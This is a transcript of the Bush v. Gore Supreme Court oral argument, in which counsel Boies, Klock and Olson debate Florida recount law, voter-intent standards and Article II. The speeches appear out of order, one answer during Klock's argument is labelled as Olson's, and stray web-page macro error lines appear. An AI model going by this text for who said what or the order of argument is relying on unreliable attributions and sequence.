MR. BOIES: Two parts to the answer. The reason that I said what I did to Justice Scalia was that I think that if this Court were to rule that there was something wrong with the statewide recounts, that they were being done by canvassing boards as opposed to directly by the court, or because the court was not supervising the particular expression of voter intent, what the court would have done is simply cut back on a remedy that we didn’t ask for. The second part is that when you are dealing with overvotes, remember, this is a machine issue. When you are dealing with overvotes, the machine has already registered two votes. Now, there may be another vote there, a dimpled vote or an indented vote that the machine did not register. But once you get two votes, that ballot doesn’t get counted for the presidency.

QUESTION: They gave an example. The example they gave in their brief was there is a punch for Governor Bush, and then there is a punch for write-in and the write-in says I want Governor Bush and so I think their implication is that that would have been rejected by the machine, but if you looked at it by hand the intent of the voter would be clear. Now I don’t know if there are such votes, but they say there might be.

MR. BOIES: There is nothing in the record that suggests that there are such votes. If anybody had contested the overvotes, it would have been a relatively simple process to test that because you could simply test it as to whether the double vote was a write-in vote or was another candidate.

QUESTION: I gathered from the opinion of the Supreme Court of Florida that the Vice President did not ask for as broad a recount as the Supreme Court granted, but that it thought that to do just what he wanted would be unfair and therefore out of fairness, they granted the wider recount, am I correct in that?

MR. BOIES: I think that’s right. I think that’s the way I would interpret it, Mr. Chief Justice.

QUESTION: Mr. Boies, I have one other perplexity about the scheme that’s been set up here. What — there is a very, as you point out, there is scant statutory provision concerning, concerning the contest. There is quite detailed statutory provision concerning the protest period. And it tells everybody how to act and time limits and all of that. Why would anyone bother to go through the protest period, have these ballots counted by the canvassing boards, have them certify the results? Why go through all that when the whole thing begins again with a contest? There is no, no — once a contest filed, the certification is meaningless. What advantage is there to win the protest?

MR. BOIES: It’s not meaningless. It becomes the baseline, and in every contest that has ever taken place, including this one, that has been the baseline that has determined 99-plus percent of the votes, and what is contested are simply those ballots that during the protest phase have been identified as disputed ballots, so that the, the protest phase solves 99 percent of the election or more. What is left over are those ballots that one side or the other has contested, and that’s what the contest deals with.

QUESTION: My concern is that the contest period as we have been talking about requires the setting of standards, judicial review, and by reason of what I take it to be your earlier position in the litigation, this period has been truncated by 19 days, causing the time frame of which we are all so conscious, making it difficult for appellate review, and it seems to me, and we are getting back to the beginning of this, that the legislature could not have done that by a statute without it being under law, and that neither can the Supreme Court without it being a new law, a new scheme, a new system for recounting at this late date. I’m very troubled by that.

MR. BOIES: But, Your Honor, at this — leaving aside the prior case about the extension of the time for certification, which I think at this stage you have to leave aside because at the contest stage, what you are doing is you are contesting specific ballots whether or not they were included in the certification. It’s absolutely clear under Florida law that that’s what the contest is about, so at the contest stage, the only question is can you complete the contest of the contested ballots in the time available? Everything that’s in the record is, that we could have and indeed we still may be able to, if that count can go forward.

QUESTION: Including appeals to the Supreme Court of Florida, and another petition to this Court?

MR. BOIES: Excuse me, Your Honor?

QUESTION: I said after the circuit judge says that the contest comes out this way, surely there is going to be an appeal to the Supreme Court of Florida and likely another petition to this Court. Surely that couldn’t have been done by December 12th, could it?

MR. BOIES: Your Honor, I think, I think the appeal to the Florida Supreme Court could have and indeed the schedule that was set up would have made that quite possible. There is about another day or so, except for, except for four or five counties, all of the counties would be completed in about another day. And maybe even those counties could be now because as I understand it some of them have taken advantage of the time to get the procedures ready to count.

QUESTION: Just a minute, Mr. Boies. Wouldn’t the Supreme Court of Florida want briefs and wouldn’t the parties have needed time to prepare briefs?

MR. BOIES: Yes, Your Honor, but as we did in this Court, we have done in the Florida Supreme Court a number of times and that is to do the briefs and have the argument the next day and a decision within 24 hours.

QUESTION: After the counts are conducted in the individual counties, wouldn’t the Leon County circuit judge have to review those counts? After all, it’s — I mean, the purpose of the scheme is to have a uniform determination.

MR. BOIES: To the extent that there are contested or disputed ballots —.

QUESTION: Right.

MR. BOIES: — I think that may be so, Your Honor.

QUESTION: Well, wouldn’t that take a fair amount of time and is that delegable? I assume he would have to do that personally.

MR. BOIES: We believe that it could be done in the time available. We also believe that we have available to us the argument that says you finished what we contested. Although the supreme court has said as a matter of remedy it would be a good idea to do these other things that nobody asked for, that if it gets down to the point where you can — you have done the contest and you simply have not gotten completed all of this other remedy under 168 subsection 8, that we are still entitled under settled Florida law to have our votes counted.

QUESTION: The supreme court said you had to do it all in the interest of fairness.

MR. BOIES: I think that what —.

QUESTION: I thought you agreed with me on that a moment ago.

MR. BOIES: I did, Your Honor. I think that what they were saying is that as a matter of remedy this is the fairest way to do it. I don’t think they were saying that it would violate fundamental fairness to only take into account what you could get done in the time available. There’s nothing in the Supreme Court opinion that would suggest this.

QUESTION: Mr. Boies, would you explain to me again how the protest and the contest fits in. You said that the — let’s assume that my complaint that I want to protest is the failure to do undercounts to those ballots that were undercounted, okay? That’s my protest.

MR. BOIES: Right.

QUESTION: Why would I ever bring that in a protest proceeding? Why wouldn’t I just go right to the contest because it doesn’t matter whether I win or lose the protest proceeding. It’s de novo at the contest stage. What possible advantage is there to go through the protest proceeding?

MR. BOIES: If you’ve identified the ballots, you could presumably wait and do it at the contest phase. There’s no particular advantage to doing that. The fact —.

QUESTION: I thought the advantage might be as described in the Florida case, Boardman v. Esteva, saying that the certified election returns which occur after the protest period are presumptively correct, and they must be upheld unless clearly outside legal requirements. I thought that was Florida law.

MR. BOIES: Your Honor —.

QUESTION: Which would make it important to have a protest.

MR. BOIES: I think that’s right. I think that is right. I would point out that —.

QUESTION: I think the Florida court has sort of ignored that old Boardman case.

MR. BOIES: Your Honor, I think the Boardman case relates not to the counting of votes, it has nothing to do with the standard in terms of the intent of the voter. The Boardman case, the language that you’re referring to is at page 268 of the Southern Reporter report of that case, and what is clear from that page and that discussion is it’s dealing with the issue of whether or not because the canvassing board threw away the envelopes from the absentee ballots so they could not be checked, whether that invalidated the absentee ballots, and the court says no, it doesn’t, because it’s important to count all these votes, and because we assume that what they were doing was proper. That does not, I respectfully suggest, at all deal with the question of deference to the voter intent determination which the court has repeatedly said is a matter for judicial determination. The other thing that I would say with respect to intent is I know the Court is concerned about whether the standard is too general or not. Some states have made specific criteria their law. Other states, not just Florida — 10 or 11 of them, including Massachusetts, in the Dellahunt case that we cited, has stuck with this very general standard.

QUESTION: All right, let’s assume —.

MR. BOIES: There’s a sense where that may be an Article II issue.

QUESTION: Mr. Boies, let’s assume that at end of the day the Leon County, Florida judge, gets a series of counts from different counties, and they heard those counties have used different standards in making their counts. At that point, in your judgment, is it a violation of the Constitution for the Leon County judge to say, I don’t care that there are different standards as long as they purported to fall on intent of the voter, that’s good enough.

QUESTION: I’ll extend your time by two minutes, Mr. Boies.

MR. BOIES: Yes. I do not believe that that would violate the equal protection of due process clause. That distinction between how they interpret the intent of the voter standard is going to have a lot less effect on how votes are treated than the mere difference in the types of machines that are used.

QUESTION: Then the fact that there is a single judge at the end of the process, in your judgment, really is not an answer to the concern that we have raised.

MR. BOIES: No, I think it is an answer. I think there are two answers to it. First, I think that the answer that they did it differently, different people interpreting the general standard differently, would not raise a problem even in the absence of judicial review of that. Second, even if that would have raised a constitutional problem, I think the judicial review that provides the standardization would solve that problem. The third thing that I was saying is that any differences as to how this standard is interpreted have a lot less significance in terms of what votes are counted or not counted than simply the differences in machines that exist throughout the counties of Florida. There are five times as many undervotes in punch card ballot counties than in optical ballot counties. Now, for whatever that reason is, whether it’s voter error or machine problems, that statistic, you know, makes clear that there is some difference in how votes are being treated county by county. That difference is much greater than the difference in how many votes are recovered in Palm Beach or Broward or Volusia or Miami-Dade, so that the differences of interpretation of the standard, the general standard are resulting in far fewer differences among counties than simply the differences in the machines that they have.

QUESTION: Thank you, Mr. Boies.

MR. BOIES: Thank you very much.

QUESTION: Mr. Olson, you have five minutes remaining.

[Macro error: Can’t find a sub-table named “responseHeaders”.]
ORAL ARGUMENT OF JOSEPH P. KLOCK, JR. ON BEHALF OF RESPONDENTS KATHERINE HARRIS, ET AL., IN SUPPORT OF PETITIONERS.

MR. KLOCK: Mr. Chief Justice, and may it please the Court: If I could start by addressing a question of Justice Souter with respect to the standards, 166 does have time limits. The time limit of 166 is set by the certification, which is seven days after the election. The time of the contest, there are time limits there as well. You have ten days to file a complaint, ten days to file an answer, and in the context of a presidential election, you then of course have the December 12 deadline. So therefore, there are time —

QUESTION: Which is federal, not state, and occurs in the safe harbor statute, or as a result of the safe harbor statute.

MR. OLSON: Yes, Your Honor, but this Court in its opinion that it handed down in the initial Harris case pointed out that it was clear that there was a desire in which by the legislature to preserve the safe harbor.

QUESTION: Oh, there is no — .

QUESTION: I thought the Florida court accepted that, too, in its current opinion.

MR. KLOCK: They did say that exactly, Your Honor.

QUESTION: Mr. Klock, will you — you refer to the first Harris case. We think of it as the first Bush v. Gore case. You are talking about the same — .

MR. KLOCK: Yes, Your Honor.

QUESTION: Mr. Klock, will you address Justice Breyer’s question of a moment ago, if there were to be a uniform standard laid down, I suppose at this point by the Leon County Circuit Court or in any other valid way in your judgment, what should the substantive standard be?

MR. KLOCK: I’ll try to answer that question. You would start, I would believe, with the requirements that the voter has when they go into the booth. That would be a standard to start with. The voter is told in the polling place and then when they walk into the booth that what you are supposed to do with respect to the punch cards is put the ballot in, punch your selections, take the ballot out, and make sure there are no hanging pieces of paper attached to it. The whole issue of what constitutes a legal vote which the Democrats make much ado about presumes that it’s a legal vote no matter what you do with the card. And presumably, you could take the card out of the polling place and not stick it in the box and they would consider that to be a legal vote. The fact is that a legal vote at the very basics has to at least be following the instructions that you are given and placing the ballot in the box.

QUESTION: No, we’re asking, I think —.

MR. KLOCK: No.

QUESTION: Not what the Florida election law is at this point in your opinion, but rather if under the Equal Protection Clause, and I’m drawing on your experience as a person familiar with elections across the country. You have looked into this.

MR. KLOCK: Yes, sir.

QUESTION: What would be a fair subsidiary standard applied uniformly, were it to be applied uniformly across all the counties of Florida, including Broward, a fair uniform standard for undervotes. Remember, Indiana has a statute, Michigan has a statute, 33 states have a statute where they just say intent of voter, but in your opinion because of the hanging chad, etc., etc., what is a fair, not necessarily Florida law, but a fair uniform standard?

MR. KLOCK: Without being disrespectful, Your Honor, I think you have answered the question in terms of phrasing the question. There are any number of statutory schemes that you could select from if you were a legislature, but as a court, I don’t think that the Supreme Court of Florida respectfully, or any other court can sit down and write the standards that are going to be applied. If you are a legislature —.

QUESTION: But in your opinion, if you were looking for a basically fair standard, to take one out of a hat, Indiana, or Palm Beach 1990, in your opinion would be a basically fair one?

MR. KLOCK: If I were to take one out of a hat, Your Honor, if I was a legislature, what I would do is I would hold that you have to punch the chad through on a ballot. In those situations where you have a ballot where there are only indentations in every race, you might then come up with a different standard, but the only problem that we have here is created by people who did not follow instructions.

QUESTION: Okay. Can I ask you a different question on Florida law?

MR. KLOCK: Yes, sir.

QUESTION: And the question on Florida law is simply this, what the statute is. I take it the contest statute lists grounds for contesting, one of those grounds is rejecting a sufficient number of legal votes sufficient to place the election in doubt, and then the circuit judge is given the power to investigate that allegation, just to look into it.

MR. KLOCK: Yes. There were no —.

QUESTION: So why would it be illegal under Florida law to have a recount just to investigate whether this allegation is or is not so?

MR. KLOCK: The Justice’s question assumes that they are legal votes.

QUESTION: There might be some in there that are legal under anybody’s standard.

MR. KLOCK: Your Honor, if they are not properly, if the ballot is not properly executed, it’s not a legal vote. The only case in Florida that even touches upon this in terms of a machine ballot is the Hogan case from the Fourth District Court of Appeal. In the Fourth District Court of Appeal, that candidate lost by three votes, and he went during the protest phase to the canvassing board and asked for a manual recount to be done and they exercised their discretion and said no. And in that case, there is a discussion. He raised the argument that there were ballots in there that had hanging chads and this that and the other thing. They would hear none of it and when it went up on appeal, it was affirmed. So the fact of the matter is that the only case that we have that deals with this handles it in that fashion, and I would respectfully suggest that a ballot that is not properly punched is not a legal ballot. And I think also, sir, if you go through an analysis of the Vice President’s arguments in supporting what the Supreme Court does, there is sort of an omelet that is created by going and picking through different statutes. For instance, the clear intent standard comes from a statute that deals with a damaged ballot where you have to create, to put through the machine, a substitute ballot, and there are very clear directions as to what to do to preserve the integrity of the ballot. And the Beckstrom case, which you will no doubt hear much about as the argument proceeds, dealt with that kind of situation. There was a manual recount there; the court did not pass on the propriety of it. The issue was if the election officials took ballots and marked over the ballots instead of creating a separate substitute ballot, they took that ballot and marked it over so it could go through an optical scanner, which the court found to be gross negligence whether they would discount the votes. That was the issue that was present there. So I think if you look through Florida law it is relatively clear that there was no basis whatsoever to be able to find — .

QUESTION: Let me just ask this question. If you did have a situation, I know your position is different, where there were some uncounted ballots due to a machine malfunction, for example, would it not make sense to assume that the standard used for damaged ballots would be the same standard you use in that situation?

MR. KLOCK: I don’t think so, sir.

QUESTION: What standard would you use in the situation I propose, then?

MR. KLOCK: Well, Justice Brennan, the difficulty is that under — I’m sorry. That’s why they tell you not to do that. The standard that is in 166 is in, is dealing with the protest phase, and it was brought about in 1988.

QUESTION: I understand, but my question is if you don’t use that standard, what standard would you use for my hypothetical?

MR. KLOCK: The legislature would have to create one, sir. I don’t know what standard — .

QUESTION: You are saying that they can’t interpret a statute in which there is no explicit definition.

MR. KLOCK: What I’m saying is — .

QUESTION: They have to throw their hands up?

MR. KLOCK: No. Justice Breyer, what I’m saying is that — .

QUESTION: I’m Justice Souter — you’d better cut that out.

MR. KLOCK: I will now give up. What I’m saying, sir, is this. That you cannot be in a situation of using the word interpret to explain anything that a court does. The word interpret cannot carry that much baggage.

QUESTION: But you go to the opposite extreme and say, it seems to me, that they cannot look, as Justice Stevens suggested, to a statute which deals with, and certainly a closely analogous subject at a near stage, and it seems to me that you in effect go to the opposite extreme that you are excoriating the Florida Supreme Court for and say they can’t interpret at all.

MR. KLOCK: I think what the Florida Supreme Court should do in that instance is note the very tight restrictions that exist under the protest phase. They require that you find voter intent with respect to a damaged ballot. They also vested in the canvassing board, and the canvassing board is composed of a certain, a defined group of officials, a county judge, the election supervisor, the chairman of the county commission, it is very limited.

QUESTION: But that means the court apparently cannot define legal vote.

MR. KLOCK: That’s correct.

QUESTION: Mr. Klock — I’m Scalia.

MR. KLOCK: Yes, sir. I remember that. You correct me. It will be hard to forget.

QUESTION: Correct me if I’m wrong, but I had thought that although you don’t take into account improperly marked ballots for purposes of determining whether there will be a manual recount, I had thought that when there is a manual recount for some other reason, and you come across ballots of this sort that you can count them, that for that purpose you can decide oh, look at, there is a hanging chad. The machine didn’t count it. It’s clear what the intent of the voter are. We’ll count it. Is that not correct?

MR. KLOCK: Yes. Justice Scalia, that is correct. If you have a situation — .

QUESTION: It’s correct if you use the intent of the voter standard in that situation?

MR. KLOCK: Pardon me, sir?

QUESTION: It’s correct that you use the intent of the voter situation, standard in that situation? That’s what I understand the answer to be.

MR. KLOCK: It is correct that that statute provides. That I think that that statute, there could be problems under it, but that statute was designed for a very limited situation where there was a problem with the mechanism of voting. It was not designed to handle voter error and that is absolutely clear because otherwise, Your Honor, what would occur is the following. That in every election that have you that was close, you would have an automatic recount and then irrespective of what the canvassing board does, just load all the ballots together and put them on a truck and send them to Tallahassee because if there is no standard whatsoever and in any election contest that you are unhappy with the election, you can send the ballots to Tallahassee, then have you a problem that is created that would not exist — .

QUESTION: Thank you, Mr. Klock. Mr. Boies, we’ll hear from you.

[Macro error: Can’t find a sub-table named “responseHeaders”.]
ORAL ARGUMENT OF THEODORE B. OLSON ON BEHALF OF THE PETITIONERS.

MR. OLSON: Mr. Chief Justice, thank you, and may it please the Court: Just one week ago, this Court vacated the Florida Supreme Court’s November 21 revision of Florida’s election code, which had changed statutory deadlines, severely limited the discretion of the State’s chief election officer, changed the meaning of words such as shall and may into shall not and may not, and authorized extensive standardless and unequal manual ballot recounts in selected Florida counties. Just four days later, without a single reference to this Court’s December 4 ruling, the Florida Supreme Court issued a new, wholesale post-election revision of Florida’s election law. That decision not only changed Florida election law yet again, it also explicitly referred to, relied upon, and expanded its November 21 judgment that this Court had made into a nullity.

QUESTION: Mr. Olson —

QUESTION: Can you begin by telling us our federal jurisdiction, where is the federal question here?

MR. OLSON: The federal question arises out of the fact that the Florida Supreme Court was violating Article II, section 1 of the Constitution, and it was conducting itself in violation of section 5 of Title III of federal law.

QUESTION: On the first, it seems to me essential to the republican theory of government that the constitutions of the United States and the states are the basic charter, and to say that the legislature of the state is unmoored from its own constitution and it can’t use its courts, and it can’t use its executive agency, even you, your side, concedes it can use the state agencies, it seems to me a holding which has grave implications for our republican theory of government.

MR. OLSON: Justice Kennedy, the Constitution specifically vested the authority to determine the manner of the appointment of the electors in state legislatures. Legislatures, of course can use the executive branch in the states, and it may use in its discretion the judicial branch.

QUESTION: Then why didn’t it do that here?

MR. OLSON: It did not do that here because it did not specify — it did use the executive branch. In fact, it vested considerable authority in the Secretary of State, designating the Secretary of State as the chief elections official, and as we point out, the very first provision in the election code requires the Secretary of State to assure uniformity and consistency in the application and enforcement of the election law. The Secretary of State as the executive branch is also given considerably — considerable other responsibilities, when but — and to a certain extent, especially in connection with the contest phase of the election, certain authority was explicitly vested in the Circuit Court of the State of Florida, which is the trial court.

QUESTION: Oh, but you think then there is no appellate review in the Supreme Court of what a circuit court does?

MR. OLSON: Certainly the legislature did not have to provide appellate review.

QUESTION: Well, but it seemed apparently to just include selection of electors in the general election law provisions. It assumed that they would all be lumped in together somehow. They didn’t break it out.

MR. OLSON: Well, there are — there is a breakout with respect to various aspects of Florida statute and Florida election law. There is a specific grant of authority to the circuit courts. There is no reference to an appellate jurisdiction. It may not be the most powerful argument we bring to this Court.

QUESTION: I think that’s right.

MR. OLSON: Because notwithstanding, notwithstanding — well, the fact is that the Constitution may have been invoked.

QUESTION: Well, this is serious business because it indicates how unmoored, untethered the legislature is from the constitution of its own state, and it makes every state law issue a federal question. Can you use this theory and say that it creates some sort of presumption of validity that allows us to see whether this court or the executive has gone too far? Is that what you’re arguing?

MR. OLSON: No, I would say this with respect — it would have been a perfectly logical, and if you read the statutes, a perfectly logical, especially in the context of a presidential election, to stop this process at the circuit court, and not provide layers of appeal because given the time deadline, especially in the context of this election, the way it’s played out, there is not time for an appellate court.

QUESTION: I have the same problem Justice Kennedy does, apparently, which is, I would have thought you could say that Article II certainly creates a presumption that the scheme the legislature has set out will be followed even by judicial review in election matters, and that U.S. code section 5 likewise suggests that it may inform the reading of statutes crafted by the legislature so as to avoid having the law changed after the election. And I would have thought that that would be sufficient rather than to raise an appropriate federal question, rather than to say there’s no judicial review here in Florida.

MR. OLSON: I think that I don’t disagree with that except to the extent that I think that the argument we presented and amplified on in our briefs is a good argument, it’s a solid argument. It is consistent with the way the code is set up, and it’s particularly consistent with the timetable that’s available in a presidential election. However —.

QUESTION: Well, it’s pretty close. You can say it could be interpreted that way by the Florida Supreme Court, I suppose. You think it must be? Or is your point that even in close calls we have to revisit the Florida Supreme Court’s opinion?

MR. OLSON: No, I think that it is particularly in this case where there’s been two wholesale revisions, major restructuring of the Florida Election Code, we don’t even get close to that question at all. It would be unfortunate to assume that the legislature devolved this authority on its judiciary sub silentio. There is no specific reference to it. But in this case, as we have pointed out, especially the decision of last Friday, there was a major overhaul in almost every conceivable way.

QUESTION: Mr. Olson, as I understand your argument, you rely on Leser v. Garnett and Hawke v. Smith, and is it critical to your Article II argument that we read the word legislature as narrowly, I mean the power granted the legislature as similar to that granted in Article V of the Constitution, as those cases dealt with?

MR. OLSON: No, I don’t think it’s necessary.

QUESTION: So your reliance on — you really are not relying on those cases.

MR. OLSON: Well, I think those cases support the argument, but as we said —.

QUESTION: But if you’ve got to choose one version of the word legislature or the other —.

MR. OLSON: I think in a different context, it’s not necessarily the case, and certainly it is true that legislatures can employ the legislative process that might include vetoes by a state chief executive, or a referendum, when the state deliberately chooses to choose a legislative method to articulate a code. The point I think that’s most important and most —.

QUESTION: But is it the choice of the legislature or was it constitutionally limited to this provision? I’m a little unclear on what your theory is. Is it your theory, in other words, that they voluntarily did not permit appellate review of the lower courts in these election contests or that Article II prohibited them from allowing it?

MR. OLSON: No, Article II — we do not contend that Article II would prohibit them from fulfilling that process.

QUESTION: Of course Article V would have, and under Leser against Garnett and those cases, but you —.

MR. OLSON: In the context of this case we’re saying that they can include the judicial branch when they wish to do so, but under no circumstances is it consistent with the concept of the plan in the Constitution for the state, sub silentio, the state legislature sub silentio to turn over to the judiciary the power to completely reverse, revise, and change the election code in all of the major respects —.

QUESTION: Mr. Olson, with respect to the role of judicial review, you rely very much on the McPherson case, and two things strike me about that case. One is, if you’re right on your jurisdiction theory, then should not this Court have vacated instead of affirmed the decision of the Michigan Supreme Court in that case because the Michigan legislature didn’t confer upon the Michigan Supreme Court in that case any special authority of judicial review?

MR. OLSON: That’s entirely possible that that might be the case, Justice Ginsburg, but the entire text of the McPherson decision and its recitation of the legislative history or the history of legislation and acts by state legislatures to comply with it make it quite clear that the power is vested in the legislature itself.

QUESTION: But there was a decision by the court reviewing, which we affirmed. Under your jurisdiction theory as I see it, there was no role for the Michigan Supreme Court to play because Article II, section 1 gives the authority exclusively to the legislature, and the legislature has not provided for judicial review especially for that measure.

MR. OLSON: I think the context of that case is different, and that it’s entirely possible for the Court to have come to the conclusion it did in that case and we believe that case is compelling for the principle that we are arguing in this case, that there is no, the entire structure of what Florida did, its election code, in its effort to comply not only with Article II, but with Section 5 of Title 3, is such that it did not intend in any way to divest itself of the power to determine how the appointment of electors would be determined in a federal presidential election and most importantly, the resolution of cases and controversies, and disputes, with respect to the appointments —.

QUESTION: Three times, at least as I counted in McPherson itself, it refers to what is done by the legislative power under state constitutions as they exist. This is not the most clearly written opinion, and yet three times, they refer to the legislative power as constrained by the state’s constitution.

MR. OLSON: And I think that that’s important. I agree with you, Justice Ginsburg. It’s not the most clearly written opinion. But I think that in the context of that case, the relationship of the legislature to the Constitution in that case and the way that power was exercised, that ought to be reconciled with what we are urging the Court today, that a wholesale revision and abandonment of the legislative authority can’t be turned over, especially sub silentio, by a legislature simply because there is a constitution. There is a constitution in every state. There is a judiciary in every state. The judiciary performs certain functions in every state, and to go that length, one would assume that the judiciary in every state under that argument could overturn, rewrite, revise, and change the election law in presidential elections notwithstanding Article II, at will. Now, this was a major, major revision that took place on Friday.

QUESTION: Mr. Olson, isn’t that one of the issues in the case as to whether it was a major revision? Your opponents disagree, and I know you rely very heavily on the dissenting opinion in the Florida Supreme Court, but which opinion do we normally look to for issues of state law?

MR. OLSON: Well, I think that the dissenting opinion and the two dissenting opinions are very informative. We are relying on what the court did. If one looks at, for example, the recount provisions, before this revision under Florida law, manual recount under the protest provisions were discretionary, completely discretionary, conducted by canvassing boards during the protest phase of the election, post-election period, pursuant to legislatively defined procedures as to who could be present, for seven days after the election with respect to all ballots in a county, that was mandatory and only available, as we heard last week, for tabulation error up until this election. After the decision of December 8th in this context, those remand provisions, I mean those recount, manual recount provisions became mandatory instead of discretionary pursuant to judicial rather than executive supervision during the contest phase rather than the protest phase, even though it’s not even mentioned in the statute with respect to the contest phase, pursuant to ad hoc judicially established procedures rather than the procedures that are articulated quite carefully in the statute.

QUESTION: Well, on ad hoc judicially created procedures, the point of subsection 8 of 168. I mean, once we get into the contest phase, subsection 8 gives at least to the circuit court, leaving aside the question of appellate jurisdiction, about as broad a grant to fashion orders as I can imagine going into a statute.

MR. OLSON: Well, to read that, to read that provision and it’s written quite broadly, but to read that, one has to read that in the context of the entire statutory framework. If one reads it the way the Florida Supreme Court did, the entire process is tilted on its head. Where there used to be the decision that was in the election officials, it now becomes in the court. All of the limitations on the remand process that existed during the protest phase, where the standards should be lower because it’s earlier in the process are thrown out the window. The time tables are thrown out the window. The process that exists are there and one has to — .

QUESTION: What’s the timetable in 168?

MR. OLSON: There is no timetable.

QUESTION: That’s right. There is no timetable there. So that seems to undercut your timetable argument once you get into the contest phase from the protest phase.

MR. OLSON: But that’s only if you untether 168 entirely from the statute and the steam by which the protest phase takes place over a period of seven to 10 days in the context of this election, and the contest phase occurs over the next four weeks.

QUESTION: It may well be and I’ll grant you for the sake of argument that there would be a sound interpretive theory that in effect would coordinate these two statutes, 166 and 168, in a way that the Florida Supreme Court has not done. But that’s a question of Florida Supreme Court statutory construction and unless you can convince us, it seems to me, that in construing 168, which is what we are concerned with now, and its coordination or lack of coordination with 166, the Florida Supreme Court has simply passed the bounds of legitimate statutory construction, then I don’t see how we can find an Article II violation here.

MR. OLSON: Well, I am hoping to convince you that they passed far beyond the normal limits of statutory construction. The changing of the meaning — .

QUESTION: You have convinced us certainly that there is a disagreement about how it should be construed, and that disagreement is articulated by the dissents in the most recent case. But I don’t quite see where you cross the line into saying that this has simply become a nonjudicial act. It may or may not be good statutory construction, but I don’t see it as a nonjudicial act.

MR. OLSON: It is, it is, we submit an utter revision of the timetables, the allocation.

QUESTION: But Mr. Olson, we’re back to the — there is no timetable in 166.

MR. OLSON: That’s correct.

QUESTION: And what your argument boils down to, I think, is that they have insufficiently considered 168, I’m sorry, that they have insufficiently considered 166 in construing 168, and you may be right, but you have no textual hook in 168 to say untethered timetables imply in effect a nonjudicial act.

MR. OLSON: We are not just saying timetables. We are saying that it has wrenched it completely out of the election code which the legislature very carefully crafted to fit together and work in an interrelated fashion. It isn’t just the timetable. The fact that there are timetables which are very important in a presidential election, we are today smack up against a very important deadline, and we are in the process where — .

QUESTION: Yes, you are. But that is a deadline set by a safe harbor statute for the guidance of Congress and it’s a deadline that has nothing to do with any text in 168.

MR. OLSON: Well, I believe that the Supreme Court of Florida certainly thought that it was construing, it certainly said so this time, that it was construing the applicability of Section 5 and it was expressing the hope that what it was doing was not risking or jeopardizing the conclusive effect — .

QUESTION: And it took that into consideration in fashioning its orders under subsection 8.

MR. OLSON: And we submit that it incorrectly interpreted and construed federal law in doing that because what they have inevitably done is provide a process whereby it is virtually impossible, if not completely impossible, and I think it is completely impossible, to have these issues resolved and the controversies resolved in time for that federal statutory deadline. Furthermore, it is quite clear, we submit, that the process has changed.

QUESTION: Well, if your concern was with impossibility, why didn’t you let the process run instead of asking for a stay?

MR. OLSON: Well, because we said — .

QUESTION: We’d find out.

MR. OLSON: Because we argued, and I believe that there is a very firm basis for saying that that process already had violated Article II of the Constitution. It was also already throwing in jeopardy compliance with Section 5 of Title 3 because the laws had been changed in a number of different respects and we have recited them. The timetables are important.

QUESTION: Oh, and I thought your point was that the process is being conducted in violation of the Equal Protection Clause and it is standardless.

MR. OLSON: And the Due Process Clause, and what we know is now the new system that was set forth and articulated last — .

QUESTION: In respect to that —.

MR. OLSON: Pardon me?

QUESTION: In respect to that, if it were to start up again, if it were totally hypothetically, and you were counting just undercounts, I understand that you think that the system that’s set up now is very unfair because it’s different standards in different places. What in your opinion would be a fair standard, on the assumption that it starts up missing the 12th deadline but before the 18th?

MR. OLSON: Well, one fair standard, and I don’t know the complete answer to that, is that there would be a uniform way of evaluating the manner in which — there was Palm Beach, for example —.

QUESTION: All right, a uniform way of evaluating. What would the standard be, because this is one of your main arguments —.

MR. OLSON: Well, the standard — .

QUESTION: You say the intent of the voter is not good enough. You want substandards.

MR. OLSON: We want — .

QUESTION: And what in your opinion would be the most commonly used in the 33 states or whatever, or in your opinion, the fairest uniform substandard?

MR. OLSON: Well, certainly at minimum, Justice Breyer, the penetration of the ballot card would be required. Now, that’s why I mentioned the Palm Beach standard that was articulated in writing and provided along with the ballot instructions to people voting, that the chad ought to be punctured.

QUESTION: You’re looking at, then, basically Indiana. Is Indiana, in your opinion or pre — or 1990 Palm Beach, are either of those fair, or what else?

MR. OLSON: It’s certainly a starting point, and the —.

QUESTION: Well, would the starting point be what the Secretary of State decreed for uniformity? Is that the starting point —.

MR. OLSON: That is correct.

QUESTION: — Under the Florida legislative scheme?

MR. OLSON: I would agree with that, Justice O’Connor.

QUESTION: And what standard did the Secretary of State set?

MR. OLSON: She had not set one, and that’s one of the objections that we had with respect to the process that — the selective process that existed and that we discussed in conjunction with the December — the November 21st position. Not only was there not a standard, but there was a change two or three times during the course of this process with respect to the standard that I was just discussing.

QUESTION: I understand that she has the expertise and let’s assume that under Florida state law she’s the one with the presumptive competence to set the standard. Is there a place in the Florida scheme for her to do this in the contest period?

MR. OLSON: I don’t think there is. There is no limitation on when she can answer advisory opinions.

QUESTION: Even in the contest period?

MR. OLSON: I don’t — I think that that’s correct. Now, whether or not if there was a change as a result of that, of the process, whether there would be problems with respect to section 5 I haven’t thought about , but —.

QUESTION: No, if there’s —.

QUESTION: If this were remanded —.

QUESTION: Go ahead.

QUESTION: I’m sorry.

QUESTION: If this were remanded to the Leon County Circuit Court and the judge of that court addressed the Secretary of State, who arguably either is or could be made a party, and said please tell us what the standard ought to be, we will be advised by your opinion, that would be feasible, wouldn’t it?

MR. OLSON: I think it would be feasible. Now, counsel for the Secretary of State will be up in a moment, immediately after me. As I understand, however, the election code, she would have the power to respond to that inquiry. In fact, under the very first, as I mentioned, the very first section of the election code, sub 1, she is not only the chief election officer, but has responsibility —.

QUESTION: But I would still like to get your view as to what would be the fair standard.

MR. OLSON: Well, certainly one that would — I don’t — I haven’t crafted it entirely out. That is the job for a legislature.

QUESTION: I would still like to get your opinion insofar as you could give it.

MR. OLSON: I think part of that standard is it would have to be applied uniformly. It would have to be — I would think a reasonable standard is, would have to be at minimum a penetration of the chad in the ballot, because indentations are no standards at all. There are other procedural standards in the —.

QUESTION: Mr. Olson, was the Palm Beach standard that you referred in your brief applied statewide and uniformly? You refer to the Palm Beach standard having changed. Was the Palm Beach standard ever applied on a statewide basis?

MR. OLSON: I believe it was not, Justice Stevens.

QUESTION: And can we possibly infer from the failure of the Secretary of State to promulgate a statewide standard that she might have inferred that the intent of the voter is an adequate standard?

MR. OLSON: No, I don’t think it’s a fair inference either way. Remember in response to the question from I think it was Justice Scalia the last time we were here, this is the first time we’ve had a manual recount for anything other than arithmetic tabulation error. This is something that is unprecedented in the State of Florida. That’s another change that took place.

QUESTION: Mr. Olson, you have said the intent of the voters simply won’t do, it’s too vague, it’s too subjective, but at least, at least those words, intent of the voter, come from the legislature. Wouldn’t anything added to that be — wouldn’t you be objecting much more fiercely than you are now if something were added to the words that the all powerful legislature put in the statute?

